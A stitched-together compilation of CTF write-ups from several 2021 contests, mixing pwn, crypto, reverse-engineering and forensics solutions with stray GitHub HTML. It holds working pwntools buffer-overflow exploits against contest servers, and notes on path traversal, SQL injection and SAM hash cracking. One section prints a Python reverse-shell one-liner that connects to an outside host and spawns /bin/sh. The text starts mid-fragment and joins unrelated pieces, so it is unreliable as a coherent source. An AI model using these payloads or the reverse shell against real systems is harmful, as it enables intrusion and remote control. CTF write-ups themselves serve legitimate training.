}``````file WinButTwistedWinButTwisted: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=30d5731a2385816deab25ce8684e2de08b24846f, for GNU/Linux 4.4.0, not stripped```Security:```bashchecksec WinButTwisted[*] '/home/kali/Desktop/CTF/HeroCTF/pwn/WinButTwisted' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)```Uhhm it seems crashed.. ```bash./WinButTwisted What would a hero say ?>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzsh: segmentation fault ./WinButTwisted```Now let's find the exactly offset for our padding.Create a cyclic string in python with the Pwntools library.```bash>>> cyclic_metasploit(40)b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A'```Run the binary into GDB ```gdbgefβ€ rStarting program: /home/kali/Desktop/CTF/HeroCTF/pwn/WinButTwisted What would a hero say ?>>> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A
Program received signal SIGSEGV, Segmentation fault.0x31624130 in ?? ()ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ$eax : 0x31624130 ("0Ab1"?)$ebx : 0x080e9000 β 0x00000000$ecx : 0x080ecde9 β 0x00000000$edx : 0xfbad0088$esp : 0xffffd0bc β 0x08049add β <main+118> mov eax, DWORD PTR [ebp-0xc]$ebp : 0xffffd0f8 β 0x00000800$esi : 0x080e900c β 0x0806d190 β <__strcpy_ssse3+0> endbr32 $edi : 0x0804823c β 0x00000000$eip : 0x31624130 ("0Ab1"?) $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ0xffffd0bcβ+0x0000: 0x08049add β <main+118> mov eax, DWORD PTR [ebp-0xc] β $esp0xffffd0c0β+0x0004: 0x080e9094 β 0x080ea8c0 β 0x000000000xffffd0c4β+0x0008: 0x000000000xffffd0c8β+0x000c: "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A\n"0xffffd0ccβ+0x0010: "a1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A\n"0xffffd0d0β+0x0014: "2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A\n"0xffffd0d4β+0x0018: "Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A\n"0xffffd0d8β+0x001c: "a5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A\n"ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:32 ββββ[!] Cannot disassemble from $PC[!] Cannot access memory at address 0x31624130ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ[#0] Id 1, Name: "WinButTwisted", stopped 0x31624130 in ?? (), reason: SIGSEGVββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββgefβ€ ```Here we can see that our EIP register has been overwritten by the pattern ```gdb$eip : 0x31624130 ("0Ab1"?) ```
Now we have the ingredients to calculate the offset```bash>>> cyclic_metasploit_find(0x31624130)32```
Analyzing the C code we can see that we have an input with the fgets(), we can take advantage of this function to jump to the set_lock() function that will set the global variable UNLOCKED to 1, this operation will then allow us to jump to the shell() function, the condition if (UNLOCKED == 1) will then be true and we will have a shell opened by the command system("/bin/sh");so at this point we can get the flag
Now what we need is the address of the set_lock() function and that of shell()
the payload will be structured as follows:> Payload = PADDING + set_lock()_address + shell()_address
Address of set_lock()```bashobjdump -d WinButTwisted | grep set_lock 08049965 <set_lock>:```
Address of shell()```bashobjdump -d WinButTwisted | grep shell 08049999 <shell>:```
Now let's write the full exploit```Python3from pwn import *
r = remote("pwn.heroctf.fr",9003)offset = 32 # eippayload = b'A' * offset + p32(0x8049965) + p32(0x8049999)r.sendline(payload)r.interactive()
#flag --> Hero{Tw1sT3D_w1N_FuNcTi0N}```VoilΓ .. here's the flag Writeup written by FeeeDz from STNKS team |
1. Read the hex value contents of `out.txt`.2. Generate the pseudo-random key by using the same seed `13371337`.3. XOR the contents of `out.txt` with the generated key.4. Write the XORed value onto `flag.txt`.5. Represent the hex value of the key in ASCII using `xxd`. |
# AngstromCTF2021 Sanity ChecksLooking at the sourcecode we see that the application uses `gets`. We therefore know that we can use a bufferoverflow attack.
We see that `strcmp` checks the input for the string `password123`. We can mitigate this but injecting `password123` and then a null byte, because the `strcmp` will stop comparing.
Disassembling the application we see that:```# 327: int main (int argc, char **argv, char **envp);# ; var char *format @ rbp-0xe0# ; var char *s1 @ rbp-0x60# ; var file*stream @ rbp-0x20# ; var uint32_t var_14h @ rbp-0x14# ; var uint32_t var_10h @ rbp-0x10# ; var uint32_t var_ch @ rbp-0xc# ; var uint32_t var_8h @ rbp-0x8# ; var uint32_t var_4h @ rbp-0x4# 0x00401235 cmp dword [var_4h], 0x32# 0x00401239 jne 0x4012c1# 0x0040123f cmp dword [var_8h], 0x37# 0x00401243 jne 0x4012c1# 0x00401245 cmp dword [var_ch], 0xf5# 0x0040124c jne 0x4012c1# 0x0040124e cmp dword [var_10h], 0x3d# 0x00401252 jne 0x4012c1# 0x00401254 cmp dword [var_14h], 0x11```This we only need to add these values at their respective offsets to pass the sanity checks.
Coding it all up we get:```from pwn import *password = b'password123\x00'padding = b'A'*64sanity_checks = b'\x11\x00\x00\x00'\ +b'\x3d\x00\x00\x00'\ +b'\xf5\x00\x00\x00'\ +b'\x37\x00\x00\x00'\ +b'\x32\x00\x00\x00'payload = password+padding+sanity_checks
conn = remote('shell.actf.co', 21303)conn.sendline(payload)response = conn.recvline()print(response)response = conn.recvline()print(response)```This returns the flag: `actf{if_you_aint_bout_flags_then_i_dont_mess_with_yall}` |
# SoulCrabber 2
## Description
Aliens realised that hard-coded values are bad, so added a little bit of entropy.
```rustuse rand::{Rng,SeedableRng};use rand::rngs::StdRng;use std::fs;use std::io::Write;use std::time::SystemTime;
fn get_rng() -> StdRng { let seed = SystemTime::now() .duration_since(SystemTime::UNIX_EPOCH) .expect("Time is broken") .as_secs(); return StdRng::seed_from_u64(seed);}
fn rand_xor(input : String) -> String { let mut rng = get_rng(); return input .chars() .into_iter() .map(|c| format!("{:02x}", (c as u8 ^ rng.gen::<u8>()))) .collect::<Vec<String>>() .join("");}
fn main() -> std::io::Result<()> { let flag = fs::read_to_string("flag.txt")?; let xored = rand_xor(flag); println!("{}", xored); let mut file = fs::File::create("out.txt")?; file.write(xored.as_bytes())?; Ok(())}```
`418a5175c38caf8c1cafa92cde06539d512871605d06b2d01bbc1696f4ff487e9d46ba0b5aaf659807`
## Solution
```rustuse rand::{Rng,SeedableRng};use rand::rngs::StdRng;use std::time::SystemTime;
fn get_rng() -> StdRng { let seed = SystemTime::now() .duration_since(SystemTime::UNIX_EPOCH) .expect("Time is broken") .as_secs(); return StdRng::seed_from_u64(seed);}
fn is_sub<T: PartialEq>(mut haystack: &[T], needle: &[T]) -> bool { if needle.len() == 0 { return true; } while !haystack.is_empty() { if haystack.starts_with(needle) { return true; } haystack = &haystack[1..]; } false}
fn rand_xor(input : &Vec<u8>, mut rng: StdRng) -> Vec<u8> { return input .into_iter() .map(|c| c ^ rng.gen::<u8>()) .collect::<Vec<u8>>();}
fn main() -> std::io::Result<()> { let out: Vec<u8> = vec![65, 138, 81, 117, 195, 140, 175, 140, 28, 175, 169, 44, 222, 6, 83, 157, 81, 40, 113, 96, 93, 6, 178, 208, 27, 188, 22, 150, 244, 255, 72, 126, 157, 70, 186, 11, 90, 175, 101, 152, 7]; let first_bytes: Vec<u8> = vec![67, 72, 84, 66, 123];
let mut seed = SystemTime::now() .duration_since(SystemTime::UNIX_EPOCH) .expect("Time is broken") .as_secs();
loop { let mut rng = StdRng::seed_from_u64(seed); let r = rand_xor(&out, rng); if is_sub(&r, &first_bytes) { let s = r .into_iter() .map(|c| format!("{:02x}", c)) .collect::<Vec<String>>() .join(""); println!("{}", s); break; } seed = seed - 1; }
Ok(())}```
and then:
```pythonfrom binascii import unhexlifyunhexlify("434854427b636c34353531635f6368346c6c336e67335f72337772317474336e5f316e5f727535747d")``` |
# RE Diary
Every member of S4Lab needs to write a diary! and send it in a special format to the MASTER of the lab. Help her to read to this diary!
Attachments:* [rediary](./rediary)* [flag.enc](./flag.enc)
## SolutionDecompiling the binary in IDA and renaming/retyping variables we get...
### Main Function```cpp std::ifstream::basic_ifstream(flag_stream, "flag", 8LL); if ( (unsigned __int8)std::ios::fail(&v13) ) { std::operator<<<std::char_traits<char>>( &std::cout, "\n" ".....................................................................You shall not pass!!........................." "..........................................\n", v8); exit(0); } std::allocator<char>::allocator(&a6;; sub_2C8A((__int64)a6_1); sub_2E9C((__int64)a1a, flag_stream); sub_2EE8((__int64)v11, a1a[0], a1a[1], a6_1[0], a6_1[1], (__int64)&a6;; std::allocator<char>::~allocator(&a6;; std::ifstream::close(flag_stream); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&flag, v11); enc((unsigned __int8 *)&output, (unsigned __int8 *)&flag;; std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&flag;; std::ofstream::basic_ofstream(output_stream, "flag.enc", 16LL); std::operator<<<char>(output_stream, &output); std::ofstream::close(output_stream); std::ofstream::~ofstream(output_stream); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&output); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v11); std::ifstream::~ifstream(flag_stream);```It reads contents of the `flag` file and encrypts it in the `enc` function. The output is then written to `flag.enc`
### `enc````cppvoid __fastcall enc(unsigned __int8 *output, unsigned __int8 *flag){ pos = 0; std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(output); table[0] = 0; // An array table[27] = 1; v17 = flag; v8 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::begin(flag); v7 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::end(flag); while ( sub_2E2D((__int64)&v8, (__int64)&v7) ) { v16 = *(_BYTE *)sub_2E8A((__int64)&v8;; high_nibble = (v16 >> 4) & 0xF; low_nibble = v16 & 0xF; std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(arr1); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(arr2); for ( i = 0; i <= 6; ++i ) { high_sum = 0; low_sum = 0; for ( j = 0; j <= 3; ++j ) { hbit_at = (high_nibble & (unsigned int)(1 << (3 - j))) >> (3 - j); high_sum += hbit_at * table[4 * i + j]; lbit_at = (low_nibble & (unsigned int)(1 << (3 - j))) >> (3 - j); low_sum += lbit_at * table[4 * i + j]; } std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::push_back( arr1, (unsigned int)(char)(high_sum % 2 + '0')); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::push_back( arr2, (unsigned int)(char)(low_sum % 2 + '0')); } std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(tmp1, arr1); v2 = zero_check((__int64)tmp1); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(tmp1); if ( v2 ) std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::push_back(arr1, '0'); else std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::push_back(arr1, '1'); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(tmp2, arr2); v3 = zero_check((__int64)tmp2); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(tmp2); if ( v3 ) std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::push_back(arr2, '1'); else std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::push_back(arr2, '0'); v6[0] = to_int(arr1, 0LL, 2LL); v6[1] = to_int(arr2, 0LL, 2LL); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::insert( output, 0LL, 1LL, (unsigned int)(char)v6[(pos & 1) == 0]); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::push_back( output, (unsigned int)(char)v6[pos++ & 1]); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(arr2); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(arr1); sub_2E6A(&v8;; }}```There is a loop which iterates over the elements of the flag, it encrypts the high hex nibble and low hex nibble of the byte separately, then it appends them at start and end of output array... the position (start or end) depends if the byte position is even or odd, i.e. `high/low/high/low` manner.
Since there is a 1 to 1 mapping of the original bytes and encrypted bytes, I wrote 0-255 bytes into `flag`, encrypted it and then parsed `flag.enc` to get the encrypted : orginal byte mapping. Then I used it to decrypt the given `flag.enc`
Full script [here](./solve.py)
## Flag> `S4CTF{iT5_34zY_oR_70u9H!?}` |
# Soulcrabber 2
## OverviewLooing at the script, this looks like some simple xor encryption.The values which the flag is xored with stem from a seeded random number generator.The seed is the UNIX timestamp, so this sould be easy to crack (at most 2^32 tries ;D).Although I was able to see how this is unsecure and how to crack it, I had to do some research on how I can do this in rust.
## Research on RustFirst of all, the script doesn't even compile when I did ``rustc main.rs``. With some help from an ictf friend, I got onto cargo and how to use it.Nice, but I still need to adapt the script to check if a given seed decrypts the cipher.
## SolveSome time later, this finally worked with all of rust's type and memory-access(?) checks:```use rand::{Rng,SeedableRng};use rand::rngs::StdRng;use std::fs;use std::time::SystemTime;
fn get_rng(i : u64) -> StdRng { // let seed: u64 = 1618783200; // 18.04.2021 22:00:00 let seed: u64 = 1619222400; // 24.04.2021 00:00:00 return StdRng::seed_from_u64(seed - i);}
fn xor(input : Vec<u8>, i: u64) -> Vec<u8> { let mut rng = get_rng(i); return input .into_iter() .map(|c| (c as u8 ^ rng.gen::<u8>())) .collect::<Vec<u8>>()}
fn main() -> std::io::Result<()> { let timestamp = SystemTime::now() .duration_since(SystemTime::UNIX_EPOCH) .expect("Time is broken") .as_secs();
println!("{}", timestamp);
let test = [67, 72, 84, 66, 123, 11, 11, 22, 22, 33, 33]; if test[0..5].to_vec() == [67, 72, 84, 66, 123] { println!("{}", "works "); }
let cipher_hex = fs::read_to_string("out.txt")?; let cipher = hex::decode(cipher_hex).expect("Decoding failed"); for x in 0..10000000 { let xored = xor((*cipher).to_vec(), x); if xored[0..5].to_vec() == [67, 72, 84, 66, 123] { // == 0x434854427b == CHTB{ println!("{}", std::str::from_utf8(&xored).unwrap()); }
if x % 100000 == 0 { println!("{}", x); } }
Ok(())}```This assumes that if the first 5 bytes decode to ``CHTB{``, the seed is correct and the whole thing gets printed.For the timestamp I took the current date and just looped back until I found the correct one.With all the compile errors gone, it's just a simple ``cargo run`` to run the script and eventually getting the flag. |
1. We send a POST request to `/api/login` using the username admin and a regex match query for the password with a random (printable) character.2. If the login is successful, we assume that this character is indeed part of the password, so we add it to our flag, and try again with the next position in the password3. Simple as that, let's script it |
# HeroCTF - Ring0 Calling
Description of the challenge:
```I like to compile my kernels. And I like to do it the old way.And I also like doing it 50x times because I forgot an option.
Can you get the flag ?```
The name of the challenge itself was a huge hint. Ring0 refers to the kernel space of linux system, and we, as users, can communicate with ring0 throught system calls.For example, a lot of C function that deals with files are wrappers of this system calls.Back to the challenge, when I executed the run script on the host, I found the BACKUP folder, which contained a syscall_64.tbl file. This is a file where are listed all system calls of the system.
Scrolling through this system calls, I found this one that was a little bit suspicious.Then I thought of all possible methods to make a syscall to this sys_hero, and then I realized that I could create a C program that used the syscall() function to call sys_hero(the number of sys_hero syscall is 442)
Here the source of the program:
```#include <sys/syscall.h>#include <unistd.h>#define SYS_hero 442
int main(){ syscall(SYS_hero); return 0;}```
***WARNING: WHEN YOU COMPILE THE PROGRAM, REMEMBER TO COMPILE IT WITH THE FLAG -STATIC!!***
And then, using "scp" program, you can load the compiled program to the host.After executing it, the flag will be in the kernel log, accesible with dmesg command. |
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<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
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<div class="SelectMenu-list SelectMenu-list--borderless p-2" style="overscroll-behavior: contain;"> Description Here, we are given with a mem capture and to analyze this file, we need volatility tool which is great tool for analyzing raw files. You can get volatility tool from here https://github.com/volatilityfoundation/volatility First we need to run imageinfo command to get the profile. This command will take some time to process the information We need a registry key that can reveal the hostname We will use the SYSTEM REGISTRY. </div> </div> </details-menu></details>
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<div id="readme" class="Box-body readme blob js-code-block-container p-5 p-xl-6 gist-border-0"> <article class="markdown-body entry-content container-lg" itemprop="text"><h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>Description</h3><h4><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>Here, we are given with a mem capture and to analyze this file, we need volatility tool which is great tool for analyzing raw files.</h4><h4><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>You can get volatility tool from here https://github.com/volatilityfoundation/volatility</h4><h4><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>First we need to run imageinfo command to get the profile.</h4>vol.py -f capture.mem imageinfo<h4><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>This command will take some time to process the information</h4><h4><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>We need a registry key that can reveal the hostname</h4>vol.py -f capture.mem --profile=Win7SP1x86_23418 hivelist<h4><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>We will use the SYSTEM REGISTRY.</h4>vol.py -f capture.mem --profile=Win7SP1x86_23418 printkey -o 0x8941a2c0 -K 'ControlSet001\Control\ComputerName\ComputerName'-o flag is the location and -K flag is to list the SubkeysFlag : Hero{KANNIBAL}</article> </div>
vol.py -f capture.mem imageinfo
vol.py -f capture.mem --profile=Win7SP1x86_23418 hivelist
vol.py -f capture.mem --profile=Win7SP1x86_23418 printkey -o 0x8941a2c0 -K 'ControlSet001\Control\ComputerName\ComputerName'
-o flag is the location and -K flag is to list the Subkeys
Flag : Hero{KANNIBAL}
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<div id="readme" class="Box-body readme blob js-code-block-container p-5 p-xl-6 gist-border-0"> <article class="markdown-body entry-content container-lg" itemprop="text"><h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>Description</h3>In this challenge, we are supposed to find the user's name and password.We can extract the hashes using hashdump command from volatility.For that we need Virtual location for SAM and SYSTEM file. (We can get that using hivelist command)The -s flag indicates SAM OFFSET and -y flag indicates SYSTEM OFFSETCrack the hashes using JohnTheRipper tool using rockyou as the wordlist.Flag : Hero{liverpoolfc123}</article> </div>
In this challenge, we are supposed to find the user's name and password.
We can extract the hashes using hashdump command from volatility.
For that we need Virtual location for SAM and SYSTEM file. (We can get that using hivelist command)
The -s flag indicates SAM OFFSET and -y flag indicates SYSTEM OFFSET
Crack the hashes using JohnTheRipper tool using rockyou as the wordlist.
Flag : Hero{liverpoolfc123}
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|
The server used a vulnerable str_replace function allowing for a path traversal exploit. The str_replace function simply replaced '../' with a blank string. Using a payload of ....// or similar, we can achieve a path traversal.
|
It's a basic RSA challenge, where we have in the data.txt the following informations:* The public key.* The encrypted flag.
N = 2095975199372471e = 5449gigem{ 875597732337885 1079270043421597 616489707580218 2010079518477891 1620280754358135 616660320758264 86492804386481 171830236437002 1500250422231406 234060757406619 1461569132566245 897825842938043 2010079518477891 234060757406619 1620280754358135 2010079518477891 966944159095310 1669094464917286 1532683993596672 171830236437002 1461569132566245 2010079518477891 221195854354967 1500250422231406 234060757406619 355168739080744 616660320758264 1620280754358135 }
we factorize N using factordb.com and we find :p = 21094081q = 99363191which give us access to the private key, as shown in the exploit code.
```#exploit codefrom Cryptodome.Util.number import *
N = 2095975199372471e = 5449
p = 21094081q = 99363191
phi =(p-1)*(q-1)
d =inverse(e,phi)m = "875597732337885 1079270043421597 616489707580218 2010079518477891 1620280754358135 616660320758264 86492804386481 171830236437002 1500250422231406 234060757406619 1461569132566245 897825842938043 2010079518477891 234060757406619 1620280754358135 2010079518477891 966944159095310 1669094464917286 1532683993596672 171830236437002 1461569132566245 2010079518477891 221195854354967 1500250422231406 234060757406619 355168739080744 616660320758264 1620280754358135"res = []for i in m.split(): c= int(i) m = pow(c,d,N) print(long_to_bytes(m)) res.append(str(long_to_bytes(m))[2:-1])print(''.join(res))#output: RSA_s3cur1ty_1s_4b0ut_pr1m3s``` |
1. Decode the hex of the encrypted flag into ASCII
```bashecho 2e313f2702184c5a0b1e321205550e03261b094d5c171f56011904 | xxd -r -ps > encodedascii.txt```
2. Find the key by supplying the encrypted flag to [xor-decrypt](https://github.com/AlexFSmirnov/xor-decrypt), and `CHTB{` as key
```bashpython3 xor-decrypt.py -i "encodedascii.txt" -o key.txt -k CHTB{ -d```
So we get `mykey[IeqZQu@nOK6_KzZL`, and deduce that `mykey` is the 5-byte key
3. Decrypt the encrypted flag using our key
```bashpython3 xor-decrypt.py -i encodedascii.txt -o flag.txt -k mykey -d``` |
The server was vulnerable to SQL injection within the /api/list API endpoint, which allowed for the flag to be discovered. This was a fairly laborious process, as the SQL injection was after an βORDER BYβ statement, which increased the complexity of exploiting it.
Using a Python script, we can automate the process to discover the name of the flag table and then the flag contents. |
# MemeCTF 2 Electric Boogaloo
## Challenge:
`9c222530fc5822720b24a18e0c5200957fcbe169589915c963e765c99c7f5f3a`
## Solution:
The string doesnβt decode into anything useful. But if we Google search for the string, we find a repository on GitHub: https://github.com/UMD-CSEC/Hmmmmmmmmmmmmmmmmmmmmmmmmm.
Examining the repository, we can find what appears to be a second repository under `old_files/data`. Letβs take a look:
```bash$ cp -R old_files ../ $ cd ../old_files $ mv data .git$ git statusOn branch masternothing to commit, working tree clean```
If we look back through this repository, we can see a couple of commits:
```bash$ git logcommit 3acbf91df6a99b4971243b936f04c719fa25f2e5Author: Ben Carlisle <[emailΒ protected]>Date: Sat Feb 20 19:26:01 2021 -0500
Fixed missing quote
commit 7d08573779791d779afb55b424b7326494f047e7Author: Ben Carlisle <[emailΒ protected]>Date: Sat Feb 20 19:25:48 2021 -0500
Switched format to python
commit cee06af994c3ff6cc9e8774d8ddff0a039304822Author: Ben Carlisle <[emailΒ protected]>Date: Sat Feb 20 19:24:53 2021 -0500
Init files
```
Letβs try rolling back and seeing what we can find:
```bash$ git checkout 7d0857 masterNote: switching to '7d0857'.
You are in 'detached HEAD' state. You can look around, make experimentalchanges and commit them, and you can discard any commits you make in thisstate without impacting any branches by switching back to a branch.
If you want to create a new branch to retain commits you create, you maydo so (now or later) by using -c with the switch command. Example:
git switch -c <new-branch-name>
Or undo this operation with:
git switch -
Turn off this advice by setting config variable advice.detachedHead to false
HEAD is now at 7d08573 Switched format to python$ lsshell.py$ cat shell.pyexport RHOST="10.0.0.1";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")```
That didnβt work, letβs try the first commit:
```bash$ git checkout cee06a 7d08573Previous HEAD position was 7d08573 Switched format to pythonHEAD is now at cee06af Init files$ ls flag.txt$ cat flag.txt UMDCTF-{f0r_th3_m3m3```
And just like that, we found the flag: `UMDCTF-{f0r_th3_m3m3}`. |
# Dive in to Numbers
Dive into Numbers and enjoy!
Attachments:* [numbers](./numbers)* [wtflag_enc](./wtflag_enc)
## SolutionDecompiling the binary in IDA and renaming/retyping variables we get...
